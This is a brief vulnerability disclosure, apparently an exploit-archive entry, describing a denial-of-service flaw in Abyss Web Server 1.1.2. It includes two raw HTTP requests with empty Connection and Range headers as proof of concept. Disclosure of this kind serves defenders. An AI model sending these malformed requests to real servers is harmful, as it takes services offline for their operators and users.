Abyss Web Server 1.1.2 - Incomplete HTTP Request Denial of Service

                source: http://www.securityfocus.com/bid/7287/info

A denial of service vulnerability has been reported for Abyss Web Server. The vulnerability exists when Abyss attempts to parse certain incomplete HTTP headers. 

GET / HTTP/1.0
Connection:

GET / HTTP/1.0
Range: